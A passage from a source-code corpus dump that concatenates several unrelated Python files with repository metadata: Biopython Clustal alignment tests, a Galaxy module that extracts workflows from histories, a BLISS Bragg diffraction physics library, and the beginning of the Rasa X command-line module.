TEGTYEPFTYHDKDTDKLTGYDVEVITEVAKRLGLKVDFKETQWGSMFAG YA80_HAEIN TEGTYAPFTFHDK-SGKLTGFDVEVIRKVAEKLGLKVEFKETQWDAMYAG FLIY_ECOLI LEGTYPPFSFQGD-DGKLTGFEVEFAQQLAKHLGVEASLKPTKWDGMLAS E_coli_GlnH TDTAFVPFEFKQG--DKYVGFDVDLWAAIAKELKLDYELKPMDFSGIIPA Deinococcus_radiodurans MEGTYPPFTSKNE-QGELVGFDVDIAKAVAQKLNLKPEFVLTEWSGILAG HISJ_E_COLI TDPTYAPFESKNS-QGELVGFDIDLAKELCKRINTQCTFVENPLDALIPS HISJ_E_COLI TDPTYAPFESKNS-QGELVGFDIDLAKELCKRINTQCTFVENPLDALIPS ** .: *::::. : :. . ..: V_Harveyi_PATH LETGRIDTISNQITMTDARKAKYLFADPYVVDG-AQI B_subtilis_YXEM LQTGKLDTISNQVAVTDERKETYNFTKPYAYAG-TQI B_subtilis_GlnH_homo_YCKK LNSKRFDVVANQVG-KTDREDKYDFSDKYTTSR-AVV YA80_HAEIN LNAKRFDVIANQTNPSPERLKKYSFTTPYNYSG-GVI FLIY_ECOLI LDSKRIDVVINQVTISDERKKKYDFSTPYTISGIQAL E_coli_GlnH LQTKNVDLALAGITITDERKKAIDFSDGYYKSG-LLV Deinococcus_radiodurans LQANKYDVIVNQVGITPERQNSIGFSQPYAYSRPEII HISJ_E_COLI LKAKKIDAIMSSLSITEKRQQEIAFTDKLYAADSRLV HISJ_E_COLI LKAKKIDAIMSSLSITEKRQQEIAFTDKLYAADSRLV *.: . * . * *: : """ from StringIO import StringIO alignments = list(ClustalIterator(StringIO(aln_example1))) assert 1 == len(alignments) assert alignments[0]._version == "1.81" alignment = alignments[0] assert 2 == len(alignment) assert alignment[0].id == "gi|4959044|gb|AAD34209.1|AF069" assert alignment[1].id == "gi|671626|emb|CAA85685.1|" assert alignment[0].seq.tostring() == \ "MENSDSNDKGSDQSAAQRRSQMDRLDREEAFYQFVNNLSEEDYRLMRDNN" + \ "LLGTPGESTEEELLRRLQQIKEGPPPQSPDENRAGESSDDVTNSDSIIDW" + \ "LNSVRQTGNTTRSRQRGNQSWRAVSRTNPNSGDFRFSLEINVNRNNGSQT" + \ "SENESEPSTRRLSVENMESSSQRQMENSASESASARPSRAERNSTEAVTE" + \ "VPTTRAQRRA" alignments = list(ClustalIterator(StringIO(aln_example2))) assert 1 == len(alignments) assert alignments[0]._version == "1.83" alignment = alignments[0] assert 9 == len(alignment) assert alignment[-1].id == "HISJ_E_COLI" assert alignment[-1].seq.tostring() == \ "MKKLVLSLSLVLAFSSATAAF-------------------AAIPQNIRIG" + \ "TDPTYAPFESKNS-QGELVGFDIDLAKELCKRINTQCTFVENPLDALIPS" + \ "LKAKKIDAIMSSLSITEKRQQEIAFTDKLYAADSRLV" for alignment in ClustalIterator(StringIO(aln_example2 + aln_example1)): print "Alignment with %i records of length %i" \ % (len(alignment), alignment.get_alignment_length()) print "Checking empty file..." assert 0 == len(list(ClustalIterator(StringIO("")))) print "Checking write/read..." alignments = list(ClustalIterator(StringIO(aln_example1))) \ + list(ClustalIterator(StringIO(aln_example2)))*2 handle = StringIO() ClustalWriter(handle).write_file(alignments) handle.seek(0) for i,a in enumerate(ClustalIterator(handle)): assert a.get_alignment_length() == alignments[i].get_alignment_length() handle.seek(0) print "Testing write/read when there is only one sequence..." alignment = alignment[0:1] handle = StringIO() ClustalWriter(handle).write_file([alignment]) handle.seek(0) for i,a in enumerate(ClustalIterator(handle)): assert a.get_alignment_length() == alignment.get_alignment_length() assert len(a) == 1 aln_example3 = \ """CLUSTAL 2.0.9 multiple sequence alignment Test1seq ------------------------------------------------------------ AT3G20900.1-SEQ ATGAACAAAGTAGCGAGGAAGAACAAAACATCAGGTGAACAAAAAAAAAACTCAATCCAC AT3G20900.1-CDS ------------------------------------------------------------ Test1seq -----AGTTACAATAACTGACGAAGCTAAGTAGGCTACTAATTAACGTCATCAACCTAAT AT3G20900.1-SEQ ATCAAAGTTACAATAACTGACGAAGCTAAGTAGGCTAGAAATTAAAGTCATCAACCTAAT AT3G20900.1-CDS ------------------------------------------------------------ Test1seq ACATAGCACTTAGAAAAAAGTGAAGTAAGAAAATATAAAATAATAAAAGGGTGGGTTATC AT3G20900.1-SEQ ACATAGCACTTAGAAAAAAGTGAAGCAAGAAAATATAAAATAATAAAAGGGTGGGTTATC AT3G20900.1-CDS ------------------------------------------------------------ Test1seq AATTGATAGTGTAAATCATCGTATTCCGGTGATATACCCTACCACAAAAACTCAAACCGA AT3G20900.1-SEQ AATTGATAGTGTAAATCATAGTTGATTTTTGATATACCCTACCACAAAAACTCAAACCGA AT3G20900.1-CDS ------------------------------------------------------------ Test1seq CTTGATTCAAATCATCTCAATAAATTAGCGCCAAAATAATGAAAAAAATAATAACAAACA AT3G20900.1-SEQ CTTGATTCAAATCATCTCAAAAAACAAGCGCCAAAATAATGAAAAAAATAATAACAAAAA AT3G20900.1-CDS ------------------------------------------------------------ Test1seq AAAACAAACCAAAATAAGAAAAAACATTACGCAAAACATAATAATTTACTCTTCGTTATT AT3G20900.1-SEQ CAAACAAACCAAAATAAGAAAAAACATTACGCAAAACATAATAATTTACTCTTCGTTATT AT3G20900.1-CDS ------------------------------------------------------------ Test1seq GTATTAACAAATCAAAGAGCTGAATTTTGATCACCTGCTAATACTACTTTCTGTATTGAT AT3G20900.1-SEQ GTATTAACAAATCAAAGAGATGAATTTTGATCACCTGCTAATACTACTTTCTGTATTGAT AT3G20900.1-CDS ------------------------------------------------------------ Test1seq CCTATATCAACGTAAACAAAGATACTAATAATTAACTAAAAGTACGTTCATCGATCGTGT AT3G20900.1-SEQ CCTATATCAAAAAAAAAAAAGATACTAATAATTAACTAAAAGTACGTTCATCGATCGTGT AT3G20900.1-CDS ------------------------------------------------------ATGAAC * Test1seq TCGTTGACGAAGAAGAGCTCTATCTCCGGCGGAGCAAAGAAAACGATCTGTCTCCGTCGT AT3G20900.1-SEQ GCGTTGACGAAGAAGAGCTCTATCTCCGGCGGAGCAAAGAAAACGATCTGTCTCCGTCGT AT3G20900.1-CDS AAAGTAGCGAGGAAGAACAAAACATC------AGCAAAGAAAACGATCTGTCTCCGTCGT * *** ***** * * ** **************************** Test1seq AACACACGGTCGCTAGAGAAACTTTGCTTCTTCGGCGCCGGTGGACACGTCAGCATCTCC AT3G20900.1-SEQ AACACACAGTTTTTCGAGACCCTTTGCTTCTTCGGCGCCGGTGGACACGTCAGCATCTCC AT3G20900.1-CDS AACACACAGTTTTTCGAGACCCTTTGCTTCTTCGGCGCCGGTGGACACGTCAGCATCTCC ******* ** * **** *************************************** Test1seq GGTATCCTAGACTTCTTGGCTTTCGGGGTACAACAACCGCGTGGTGACGTCAGCACCGCT AT3G20900.1-SEQ GGTATCCTAGACTTCTTGGCTTTCGGGGTACAACAACCGCCTGGTGACGTCAGCACCGCT AT3G20900.1-CDS GGTATCCTAGACTTCTTGGCTTTCGGGGTACAACAACCGCCTGGTGACGTCAGCACCGCT **************************************** ******************* Test1seq GCTGGGGATGGAGAGGGAACAGAGTT- AT3G20900.1-SEQ GCTGGGGATGGAGAGGGAACAGAGTAG AT3G20900.1-CDS GCTGGGGATGGAGAGGGAACAGAGTAG ************************* """ alignments = list(ClustalIterator(StringIO(aln_example3))) assert 1 == len(alignments) assert alignments[0]._version == "2.0.9" print "The End"
BlogomaticProject/Blogomatic
opt/blog-o-matic/usr/lib/python/Bio/AlignIO/ClustalIO.py
Python
gpl-2.0
21,480
[ "Biopython" ]
93752895bcda4bc227b84487698c6e7e9a3642444cc3028b7dc35af3fa9dadb3
""" This module contains functionality to aid in extracting workflows from histories. """ from galaxy.util.odict import odict from galaxy import exceptions from galaxy import model from galaxy.tools.parameters.basic import ( DataToolParameter, DataCollectionToolParameter, DrillDownSelectToolParameter, SelectToolParameter, UnvalidatedValue ) from galaxy.tools.parameters.grouping import ( Conditional, Repeat ) from .steps import ( attach_ordered_steps, order_workflow_steps_with_levels ) import logging log = logging.getLogger( __name__ ) WARNING_SOME_DATASETS_NOT_READY = "Some datasets still queued or running were ignored" def extract_workflow( trans, user, history=None, job_ids=None, dataset_ids=None, dataset_collection_ids=None, workflow_name=None ): steps = extract_steps( trans, history=history, job_ids=job_ids, dataset_ids=dataset_ids, dataset_collection_ids=dataset_collection_ids ) # Workflow to populate workflow = model.Workflow() workflow.name = workflow_name # Order the steps if possible attach_ordered_steps( workflow, steps ) # And let's try to set up some reasonable locations on the canvas # (these are pretty arbitrary values) levorder = order_workflow_steps_with_levels( steps ) base_pos = 10 for i, steps_at_level in enumerate( levorder ): for j, index in enumerate( steps_at_level ): step = steps[ index ] step.position = dict( top=( base_pos + 120 * j ), left=( base_pos + 220 * i ) ) # Store it stored = model.StoredWorkflow() stored.user = user stored.name = workflow_name workflow.stored_workflow = stored stored.latest_workflow = workflow trans.sa_session.add( stored ) trans.sa_session.flush() return stored def extract_steps( trans, history=None, job_ids=None, dataset_ids=None, dataset_collection_ids=None ): # Ensure job_ids and dataset_ids are lists (possibly empty) if job_ids is None: job_ids = [] elif type( job_ids ) is not list: job_ids = [ job_ids ] if dataset_ids is None: dataset_ids = [] elif type( dataset_ids ) is not list: dataset_ids = [ dataset_ids ] if dataset_collection_ids is None: dataset_collection_ids = [] elif type( dataset_collection_ids) is not list: dataset_collection_ids = [ dataset_collection_ids ] # Convert both sets of ids to integers job_ids = [ int( id ) for id in job_ids ] dataset_ids = [ int( id ) for id in dataset_ids ] dataset_collection_ids = [ int( id ) for id in dataset_collection_ids ] # Find each job, for security we (implicately) check that they are # associated witha job in the current history. summary = WorkflowSummary( trans, history ) jobs = summary.jobs jobs_by_id = dict( ( job.id, job ) for job in jobs.keys() ) steps = [] steps_by_job_id = {} hid_to_output_pair = {} # Input dataset steps for hid in dataset_ids: step = model.WorkflowStep() step.type = 'data_input' step.tool_inputs = dict( name="Input Dataset" ) hid_to_output_pair[ hid ] = ( step, 'output' ) steps.append( step ) for hid in dataset_collection_ids: step = model.WorkflowStep() step.type = 'data_collection_input' if hid not in summary.collection_types: raise exceptions.RequestParameterInvalidException( "hid %s does not appear to be a collection" % hid ) collection_type = summary.collection_types[ hid ] step.tool_inputs = dict( name="Input Dataset Collection", collection_type=collection_type ) hid_to_output_pair[ hid ] = ( step, 'output' ) steps.append( step ) # Tool steps for job_id in job_ids: if job_id not in jobs_by_id: log.warn( "job_id %s not found in jobs_by_id %s" % ( job_id, jobs_by_id ) ) raise AssertionError( "Attempt to create workflow with job not connected to current history" ) job = jobs_by_id[ job_id ] tool_inputs, associations = step_inputs( trans, job ) step = model.WorkflowStep() step.type = 'tool' step.tool_id = job.tool_id step.tool_inputs = tool_inputs # NOTE: We shouldn't need to do two passes here since only # an earlier job can be used as an input to a later # job. for other_hid, input_name in associations: if job in summary.implicit_map_jobs: an_implicit_output_collection = jobs[ job ][ 0 ][ 1 ] input_collection = an_implicit_output_collection.find_implicit_input_collection( input_name ) if input_collection: other_hid = input_collection.hid if other_hid in hid_to_output_pair: other_step, other_name = hid_to_output_pair[ other_hid ] conn = model.WorkflowStepConnection() conn.input_step = step conn.input_name = input_name # Should always be connected to an earlier step conn.output_step = other_step conn.output_name = other_name steps.append( step ) steps_by_job_id[ job_id ] = step # Store created dataset hids for assoc in job.output_datasets: if job in summary.implicit_map_jobs: hid = None for implicit_pair in jobs[ job ]: query_assoc_name, dataset_collection = implicit_pair if query_assoc_name == assoc.name: hid = dataset_collection.hid if hid is None: log.warn("Failed to find matching implicit job.") raise Exception( "Failed to extract job." ) else: hid = assoc.dataset.hid hid_to_output_pair[ hid ] = ( step, assoc.name ) return steps class FakeJob( object ): """ Fake job object for datasets that have no creating_job_associations, they will be treated as "input" datasets. """ def __init__( self, dataset ): self.is_fake = True self.id = "fake_%s" % dataset.id class DatasetCollectionCreationJob( object ): def __init__( self, dataset_collection ): self.is_fake = True self.id = "fake_%s" % dataset_collection.id self.from_jobs = None self.name = "Dataset Collection Creation" self.disabled_why = "Dataset collection created in a way not compatible with workflows" def set_jobs( self, jobs ): assert jobs is not None self.from_jobs = jobs def summarize( trans, history=None ): """ Return mapping of job description to datasets for active items in supplied history - needed for building workflow from a history. Formerly call get_job_dict in workflow web controller. """ summary = WorkflowSummary( trans, history ) return summary.jobs, summary.warnings class WorkflowSummary( object ): def __init__( self, trans, history ): if not history: history = trans.get_history() self.history = history self.warnings = set() self.jobs = odict() self.implicit_map_jobs = [] self.collection_types = {} self.__summarize() def __summarize( self ): # Make a first pass handle all singleton jobs, input dataset and dataset collections # just grab the implicitly mapped jobs and handle in second pass. Second pass is # needed because cannot allow selection of individual datasets from an implicit # mapping during extraction - you get the collection or nothing. for content in self.history.active_contents: if content.history_content_type == "dataset_collection": hid = content.hid content = self.__original_hdca( content ) self.collection_types[ hid ] = content.collection.collection_type if not content.implicit_output_name: job = DatasetCollectionCreationJob( content ) self.jobs[ job ] = [ ( None, content ) ] else: dataset_collection = content # TODO: Optimize db call # TODO: Ensure this is deterministic, must get same job # for each dataset collection. dataset_instance = dataset_collection.collection.dataset_instances[ 0 ] if not self.__check_state( dataset_instance ): # Just checking the state of one instance, don't need more but # makes me wonder if even need this check at all? continue job_hda = self.__original_hda( dataset_instance ) if not job_hda.creating_job_associations: log.warn( "An implicitly create output dataset collection doesn't have a creating_job_association, should not happen!" ) job = DatasetCollectionCreationJob( dataset_collection ) self.jobs[ job ] = [ ( None, dataset_collection ) ] for assoc in job_hda.creating_job_associations: job = assoc.job if job not in self.jobs or self.jobs[ job ][ 0 ][ 1 ].history_content_type == "dataset": self.jobs[ job ] = [ ( assoc.name, dataset_collection ) ] self.implicit_map_jobs.append( job ) else: self.jobs[ job ].append( ( assoc.name, dataset_collection ) ) else: self.__append_dataset( content ) def __append_dataset( self, dataset ): if not self.__check_state( dataset ): return job_hda = self.__original_hda( dataset ) if not job_hda.creating_job_associations: self.jobs[ FakeJob( dataset ) ] = [ ( None, dataset ) ] for assoc in job_hda.creating_job_associations: job = assoc.job if job in self.jobs: self.jobs[ job ].append( ( assoc.name, dataset ) ) else: self.jobs[ job ] = [ ( assoc.name, dataset ) ] def __original_hdca( self, hdca ): while hdca.copied_from_history_dataset_collection_association: hdca = hdca.copied_from_history_dataset_collection_association return hdca def __original_hda( self, hda ): #if this hda was copied from another, we need to find the job that created the origial hda job_hda = hda while job_hda.copied_from_history_dataset_association: job_hda = job_hda.copied_from_history_dataset_association return job_hda def __check_state( self, hda ): # FIXME: Create "Dataset.is_finished" if hda.state in ( 'new', 'running', 'queued' ): self.warnings.add( WARNING_SOME_DATASETS_NOT_READY ) return return hda def step_inputs( trans, job ): tool = trans.app.toolbox.get_tool( job.tool_id ) param_values = job.get_param_values( trans.app, ignore_errors=True ) # If a tool was updated and e.g. had a text value changed to an integer, we don't want a traceback here associations = __cleanup_param_values( tool.inputs, param_values ) tool_inputs = tool.params_to_strings( param_values, trans.app ) return tool_inputs, associations def __cleanup_param_values( inputs, values ): """ Remove 'Data' values from `param_values`, along with metadata cruft, but track the associations. """ associations = [] # dbkey is pushed in by the framework if 'dbkey' in values: del values['dbkey'] root_values = values # Recursively clean data inputs and dynamic selects def cleanup( prefix, inputs, values ): for key, input in inputs.items(): if isinstance( input, ( SelectToolParameter, DrillDownSelectToolParameter ) ): if input.is_dynamic and not isinstance( values[key], UnvalidatedValue ): values[key] = UnvalidatedValue( values[key] ) if isinstance( input, DataToolParameter ) or isinstance( input, DataCollectionToolParameter ): tmp = values[key] values[key] = None # HACK: Nested associations are not yet working, but we # still need to clean them up so we can serialize # if not( prefix ): if isinstance( tmp, model.DatasetCollectionElement ): tmp = tmp.first_dataset_instance() if tmp: # this is false for a non-set optional dataset if not isinstance(tmp, list): associations.append( ( tmp.hid, prefix + key ) ) else: associations.extend( [ (t.hid, prefix + key) for t in tmp] ) # Cleanup the other deprecated crap associated with datasets # as well. Worse, for nested datasets all the metadata is # being pushed into the root. FIXME: MUST REMOVE SOON key = prefix + key + "_" for k in root_values.keys(): if k.startswith( key ): del root_values[k] elif isinstance( input, Repeat ): group_values = values[key] for i, rep_values in enumerate( group_values ): rep_index = rep_values['__index__'] cleanup( "%s%s_%d|" % (prefix, key, rep_index ), input.inputs, group_values[i] ) elif isinstance( input, Conditional ): # Scrub dynamic resource related parameters from workflows, # they cause problems and the workflow probably should include # their state in workflow encoding. if input.is_job_resource_conditional: if input.name in values: del values[input.name] return group_values = values[input.name] current_case = group_values['__current_case__'] cleanup( "%s%s|" % ( prefix, key ), input.cases[current_case].inputs, group_values ) cleanup( "", inputs, values ) return associations __all__ = [ summarize, extract_workflow ]
mikel-egana-aranguren/SADI-Galaxy-Docker
galaxy-dist/lib/galaxy/workflow/extract.py
Python
gpl-3.0
14,480
[ "Galaxy" ]
7e626a014e997c2f49214da82a5e8fcffff76206f78de5c0f47df10e18fbf009
# -*- coding: utf-8 -*- # # This file is part of the bliss project # # Copyright (c) 2016 Beamline Control Unit, ESRF # Distributed under the GNU LGPLv3. See LICENSE for more info. """X-Ray crystal diffraction physics (Bragg, Laue) Disclaimer ---------- When an argument to any function represents a physical quantity, the library expects the units to be coherent. Passing Quantity objects makes sure you are coherent. The implementation is permissive, which means that if you pass a float/int instead of a Quantity, the library assumes the argument to be in the correct units which are SI units. Failure to comply will result in unexpected values. Theory ------ De Broglie ~~~~~~~~~~ :math:`{\\lambda} = h / p` where: * λ: wavelength * h: Planck constant * p: momentum Bragg's law ~~~~~~~~~~~ :math:`n{\\lambda} = 2dsin({\\theta})` **X-rays** Since :math:`v = c`, :math:`E = mc^2` and :math:`p = mv` then :math:`{\\lambda} = hc / E {\\Leftrightarrow} E = hc / {\\lambda}` and: :math:`E = nhc / 2dsin({\\theta})` where: * n: order of reflection [1..] * λ: wavelength incident angle * θ: scattering angle * d: interplanar distance between lattice planes **Cubic crystal diffraction** :math:`d = a / {\\sqrt{h^2+k^2+l^2}}` where: * d: interplanar distance between lattice planes * a: lattice spacing of the cubic crystal Examples -------- Bragg energy & angle ~~~~~~~~~~~~~~~~~~~~ How to find the bragg angle (in degrees) for a silicon crystal at the 110 plane when the energy is 12.5 keV:: >>> from bliss.physics.units import ur >>> from bliss.physics.diffraction import Si >>> keV, deg = ur.keV, ur.deg >>> Si110 = Si('110') >>> energy = 12.5*keV >>> angle = Si110.bragg_angle(energy) # angle is a Quantity (radians) >>> print( angle ) 0.12952587191 radian # view it as a Quantity (degrees) >>> print( angle.to(deg) ) 7.42127016 degree # get the float in degrees >>> print( angle.to('deg').magnitude ) 7.42127016 ... it also works for an arrays:: >>> from numpy import array >>> energies = array([5.1, 12.5, 17.4])*keV >>> angles = Si110.bragg_angle(energies) # angles is a numpy array of Quantity (radians) >>> print( angles ) [ 0.32212021 0.12952587 0.0929239 ] radian # view as numpy array of Quantity (degrees) >>> print( angles.to(deg) ) [ 18.45612869 7.4212858 5.32414748] degree # get the underlying numpy of float64 >>> print( angles.to(deg).magnitude ) [ 18.45612869 7.4212858 5.32414748] ...if you want to handle units yourself (disadvised): >>> from numpy import rad2deg >>> Si110 = Si('110') >>> energy_keV = 12.5 >>> energy_J = energy_keV * 1.60218e-16 >>> angle_rad = Si110.bragg_angle(energy_J) >>> angle_deg = rad2deg(angle_rad) >>> angle_deg 7.42127016 How to find the bragg energy (keV) for a germanium crystal at 444 plane when the angle is 25.6 degrees:: >>> from bliss.physics.diffraction import Ge >>> deg = ur.deg >>> Ge444 = Ge('444') >>> angle = 25.6*deg >>> energy = Ge444.bragg_energy(angle) >>> print( energy.to(keV) ) 17.5618627264 kiloelectron_volt >>> print( energy.to(ur.keV).magnitude ) 17.5618627264 New crystal ~~~~~~~~~~~ The library provides *pure single element cubic crystal object*. If you need a new exotic crystal with a specific lattice you can just create a new crystal like this:: SiGeMix = Crystal(('SiGe hybrid', 3.41e-10)) More complex crystals may require you to inherit from Crystal or create your own object with the same interface as Crystal (ie. duck typing) Multi-crystal plane ~~~~~~~~~~~~~~~~~~~ It is possible to define multi-crystal planes by providing the interplanar distance:: >>> from bliss.physics.diffraction import MultiPlane >>> my_plane = MultiPlane(distance=5.0e-10) >>> e = my_plane.bragg_energy(50e-3) """ from collections import namedtuple from mendeleev import elements from numpy import sqrt, sin, arcsin from .units import ur, units hc = (1*(ur.h * ur.c)).to(ur.kg * ur.m**3 / ur.s**2) #: A crystal Plane in hkl coordinates HKL = namedtuple('HKL', 'h k l') def string_to_hkl(text): """ Convert a string representing hkl plane to a HKL object. Args: text (str): string with three integers separated by single space (ex: '1 1 0', '10 10 0'). If all planes are one digit long, it also accepts a compact format without spaces (ex: '111', '110'). Returns: HKL: the crystal plane for the given hkl coordinates Raises: ValueError: if argument is not in the correct format """ try: strings = list(text) if len(text) <= 3 else text.split() return HKL(*map(int, strings)) except Exception as err: raise ValueError('Invalid crystal plane {0!r}: {1}'.format(text, err)) def hkl_to_string(hkl): """Returns string representation of a HKL plane""" join = '' if all(map(lambda i: i < 10, hkl)) else ' ' return join.join(map(str, hkl)) HKL.fromstring = staticmethod(string_to_hkl) HKL.tostring = hkl_to_string @units(wavelength='m', result='J') def wavelength_to_energy(wavelength): """ Returns photon energy (J) for the given wavelength (m) Args: wavelength (float): photon wavelength (m) Returns: float: photon energy (J) """ return hc / wavelength @units(energy='J', result='m') def energy_to_wavelength(energy): """ Returns photon wavelength (m) for the given energy (J) Args: energy (float): photon energy (J) Returns: float: photon wavelength (m) """ return hc / energy @units(a='m', result='m') def distance_lattice_diffraction_plane(h, k, l, a): """ Calculates the interplanar distance between lattice planes for a specific diffraction plane (given by h, k, l) and a specific lattice with lattice parameter *a*: :math:`d = a / {\\sqrt{h^2+k^2+l^2}}` Args: h (float): a diffraction plane *h* k (float): a diffraction plane *k* l (float): a diffraction plane *l* a (float): crystal lattic parameter *a* Returns: float: the distance (d) between lattice planes """ return a / sqrt(h**2 + k**2 + l**2) @units(theta='rad', d='m', result='m') def bragg_wavelength(theta, d, n=1): """ Return a bragg wavelength (m) for the given theta and distance between lattice planes. Args: theta (float): scattering angle (rad) d (float): interplanar distance between lattice planes (m) n (int): order of reflection. Non zero positive integer (default: 1) Returns: float: bragg wavelength (m) for the given theta and lattice distance """ return 2 * d * sin(theta) / n @units(theta='rad', d='m', result='J') def bragg_energy(theta, d, n=1): """ Return a bragg energy for the given theta and distance between lattice planes. Args: theta (float): scattering angle (rad) d (float): interplanar distance between lattice planes (m) n (int): order of reflection. Non zero positive integer (default: 1) Returns: float: bragg energy (J) for the given theta and lattice distance """ return wavelength_to_energy(bragg_wavelength(theta, d, n=n)) @units(energy='J', d='m', result='rad') def bragg_angle(energy, d, n=1): """ Return a bragg angle (rad) for the given theta and distance between lattice planes. Args: energy (float): energy (J) d (float): interplanar distance between lattice planes (m) n (int): order of reflection. Non zero positive integer (default: 1) Returns: float: bragg angle (rad) for the given theta and lattice distance """ return arcsin(n * hc / (2 * d * energy)) def string_to_crystal_plane(text): """ Return a crystal plane from a string. Accepts format: <symbol>['(']<plane>[')']. Examples:: >>> from bliss.physics.diffraction import string_to_crystal_plane >>> Si110011 = string_to_crystal_plane('Si(11 00 11)') >>> Si110 = string_to_crystal_plane('Si110') Args: text (str): text representing a crystal plane Returns: CrystalPlane: the corresponding crystal plane object Raises: KeyError: if crystal is not registered ValueError: is plane is in wrong format """ symbol, plane = '', '' for c in text: if c.isdigit() or c.isspace(): plane += c elif c.isalpha(): symbol += c return globals()[symbol](plane) class BasePlane(object): """ Base crystal plane. This object should not be created directly. """ def __init__(self, distance): self.d = distance def bragg_wavelength(self, theta, n=1): """ Returns a bragg wavelength (m) for the given theta on this crystal plane Args: theta (float): scattering angle (rad) n (int): order of reflection. Non zero positive integer (default: 1) Returns: float: bragg wavelength (m) for the given theta and lattice distance """ return bragg_wavelength(theta, self.d, n=n) def bragg_energy(self, theta, n=1): """ Returns a bragg energy (J) for the given theta on this crystal plane Args: theta (float): scattering angle (rad) n (int): order of reflection. Non zero positive integer (default: 1) Returns: float: bragg energy (J) for the given theta and lattice distance """ return bragg_energy(theta, self.d, n=n) def bragg_angle(self, energy, n=1): """ Returns a bragg angle (rad) for the given energy on this crystal plane Args: energy (float): energy (J) n (int): order of reflection. Non zero positive integer (default: 1) Returns: float: bragg angle (rad) for the given theta and lattice distance """ return bragg_angle(energy, self.d, n=n) class CrystalPlane(BasePlane): """ Cubic crystal plane. This object should not be created directly. Instead you should get it from the Crystal:: >>> from bliss.physics.diffraction import Si >>> Si111 = Si('111') >>> e_at_50mrad = Si111.bragg_energy(50e-3) """ def __init__(self, crystal, plane): self.crystal = crystal self.plane = plane (h, k, l), a = self.plane, self.crystal.lattice_constant distance = distance_lattice_diffraction_plane(h, k, l, a) super(CrystalPlane, self).__init__(distance) def __repr__(self): return '{}({})'.format(self.crystal, self.plane.tostring()) @staticmethod def fromstring(text): """ Return a crystal plane from a string. Accepts format: <symbol>['(']<plane>[')']. Examples:: >>> from bliss.physics.diffraction import CrystalPlane >>> Si110011 = CrystalPlane.fromstring('Si(11 00 11)') >>> Si110 = CrystalPlane.fromstring('Si110') Args: text (str): text representing a crystal plane Returns: CrystalPlane: the corresponding crystal plane object Raises: KeyError: if crystal is not registered ValueError: is plane is in wrong format """ return string_to_crystal_plane(text) class MultiPlane(BasePlane): """ Multi crystal plane. Examples:: >>> from bliss.physics.diffraction import MultiPlane >>> my_plane = MultiPlane(distance=5.0e-10) >>> e = my_plane.bragg_energy(50e-3) """ def __repr__(self): name = type(self).__name__ return '{}(distance={})'.format(name, self.d) class Crystal(object): """ Cubic crystal. Example:: >>> from bliss.physics.diffraction import Crystal >>> Si = Crystal() >>> Si111 = Si('111') Note that most crystals are already available at the module level so you rarely need to create an instance of this class:: >>> bliss.physics.diffraction.Si Si >>> bliss.physics.diffraction.Ge Ge """ def __init__(self, element): if isinstance(element, (list, tuple)): name, a = element else: name, a = element.symbol, element.lattice_constant * 1e-10 self.name = name self.lattice_constant = a #: diffraction planes cache dict<hkl(str): planes(CrystalPlane)> self._planes = {} def __call__(self, plane): """Helper to get a crystal plane from a string (ex: '110')""" if isinstance(plane, CrystalPlane): self._planes[plane.tostring()] = plane return plane try: return self._planes[plane] except KeyError: pass result = CrystalPlane(self, HKL.fromstring(plane)) self._planes[plane] = result return result def bragg_wavelength(self, theta, plane, n=1): """ Returns a bragg wavelength (m) for the given theta on the given plane Args: theta (float): scattering angle (rad) plane (str or CrystalPlane): crystal plane n (int): order of reflection. Non zero positive integer (default: 1) Returns: float: bragg wavelength (m) for the given theta and lattice distance """ return self(plane).bragg_wavelength(theta, n=n) def bragg_energy(self, theta, plane, n=1): """ Returns a bragg energy (J) for the given theta on the given plane Args: theta (float): scattering angle (rad) plane (str or CrystalPlane): crystal plane n (int): order of reflection. Non zero positive integer (default: 1) Returns: float: bragg energy (J) for the given theta and lattice distance """ return self(plane).bragg_energy(theta, n=n) def bragg_angle(self, energy, plane, n=1): """ Returns a bragg angle (read) for the given energy on the given plane Args: energy (float): energy (J) plane (str or CrystalPlane): crystal plane n (int): order of reflection. Non zero positive integer (default: 1) Returns: float: bragg energy (J) for the given theta and lattice distance """ return self(plane).bragg_angle(energy, n=n) def __repr__(self): return self.name # Export all periodic table element cubic crystals def _get_all_crystals(): result = [] for elem_symbol in elements.__all__: elem = getattr(elements, elem_symbol) if elem.lattice_constant is not None: result.append(Crystal(elem)) return result globals().update({c.name: c for c in _get_all_crystals()})
tiagocoutinho/bliss
bliss/physics/diffraction.py
Python
lgpl-3.0
15,011
[ "CRYSTAL" ]
914240d921769ad1ca3301bb397565225a35cd40ddb4c6fc0bf146bac7c50505
import argparse import asyncio import importlib.util import logging from multiprocessing.process import BaseProcess from multiprocessing import get_context from packaging import version import os import signal import sys import traceback from typing import Iterable, List, Optional, Text, Tuple import aiohttp from rasa.exceptions import MissingDependencyException import ruamel.yaml as yaml from rasa import telemetry from rasa.cli import SubParsersAction from rasa.cli.arguments import x as arguments import rasa.cli.utils from rasa.constants import ( DEFAULT_LOG_LEVEL_RASA_X, DEFAULT_RASA_PORT, DEFAULT_RASA_X_PORT, ) from rasa.shared.constants import ( DEFAULT_CONFIG_PATH, DEFAULT_CREDENTIALS_PATH, DEFAULT_DOMAIN_PATH, DEFAULT_ENDPOINTS_PATH, DOCS_BASE_URL_RASA_X, ) from rasa.core.utils import AvailableEndpoints from rasa.shared.exceptions import RasaXTermsError import rasa.shared.utils.cli import rasa.shared.utils.io import rasa.utils.common from rasa.utils.endpoints import EndpointConfig import rasa.utils.io logger = logging.getLogger(__name__) DEFAULT_EVENTS_DB = "events.db" def add_subparser( subparsers: SubParsersAction, parents: List[argparse.ArgumentParser] ) -> None: """Add all rasa x parsers. Args: subparsers: subparser we are going to attach to parents: Parent parsers, needed to ensure tree structure in argparse """ x_parser_args = { "parents": parents, "conflict_handler": "resolve", "formatter_class": argparse.ArgumentDefaultsHelpFormatter, } if is_rasa_x_installed(): # we'll only show the help msg for the command if Rasa X is actually installed x_parser_args["help"] = "Starts the Rasa X interface." shell_parser = subparsers.add_parser("x", **x_parser_args) shell_parser.set_defaults(func=rasa_x) arguments.set_x_arguments(shell_parser) def _rasa_service( args: argparse.Namespace, endpoints: AvailableEndpoints, rasa_x_url: Optional[Text] = None, credentials_path: Optional[Text] = None, ) -> None: """Starts the Rasa application.""" from rasa.core.run import serve_application # needs separate logging configuration as it is started in its own process rasa.utils.common.configure_logging_and_warnings(args.loglevel) rasa.utils.io.configure_colored_logging(args.loglevel) if not credentials_path: credentials_path = _prepare_credentials_for_rasa_x( args.credentials, rasa_x_url=rasa_x_url ) serve_application( endpoints=endpoints, port=args.port, credentials=credentials_path, cors=args.cors, auth_token=args.auth_token, enable_api=True, 